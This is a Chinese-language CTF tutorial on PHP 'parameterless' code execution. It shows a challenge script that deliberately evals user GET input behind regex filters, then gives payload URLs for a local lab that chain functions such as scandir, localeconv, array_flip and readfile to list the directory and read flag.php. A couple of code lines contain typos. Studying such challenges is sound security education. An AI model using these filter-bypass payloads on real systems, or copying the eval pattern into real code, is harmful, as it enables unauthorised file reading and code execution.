在CTF竞赛过程中,我们时常会遇到一种类型的题,那就是无参数命令执行。接下来通过例题的形式针对无参数命令执行常见技巧和利用方式进行了总结。
01
示例一
<?php
include"flag.php";
echo"flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
@.eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}// highlight_file(__FILE__);?>
02
源码分析
-
利用GET方式传入exp参数;
-
代码中过滤了data/filter/php/phar伪协议,不能以伪协议形式直接读取文件;
-
(?R)引用当前表达式,后面加了?递归调用。只允许执行类似
a(b(c()))
格式的无参数函数; -
正则匹配还过滤了et/na/info等关键字,导致get()、phpinfo()等函数不能使用;
-
eval($_GET[‘exp’]); 将输入的参数以php代码执行;
03
解题过程
查看当前目录下的文件,此处利用scandir()
实现:print_r(scandir('.')); #表示获取当前目录下的文件;
print_r(scandir('../')); #表示获取上一级目录下的文件;
于是,可以利用该函数,查看目标系统目录,寻找包含flag的文件位置。由于正则表达式限制,不能再scandir('.')函数中加入参数。故此处使用current(localeconv())表示“.”。其中localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."。current() 返回数组中的当前单元, 默认取第一个值。
http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(pos(localeconv())));
http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(current(localeconv())));
接下来就要考虑如何读取flag,读取文件内容我们可以想到的函数有:
file_get_contents() #把整个文件读入一个字符串中;
file #把整个文件读入一个数组中;
readfile() #读入一个文件并写入到输出缓冲;
highlight_file() #对文件进行语法高亮显示;
show_source() #对文件进行语法高亮显示;
刚刚列举的几个函数,都需要将要读取的文件作为参数进行读取操作,由于题中代码用正则表达式限制,不能接收参数,该如何将文件名写道函数里面,然后读取文件内容呢?
-
利用array_flip()函数将读取当前目录的键和值进行反转,然后读取其中的值即可获得flag.php;
-
其中的键可以利用随机数函数array_rand(),进行随机生成;
http://127.0.0.1/ctf/web/web-5/index.php?exp=pprint_r(array_rand(array_flip(scandir(pos(localeconv())))));
由上图可以看出,通过array_rand()能够随机出flag.php文件,然后利用readfile()函数,读取该文件:
http://127.0.0.1/ctf/web/web-5/index.php?exp=readfile(array_rand(array_flip(scandir(pos(localeconv())))));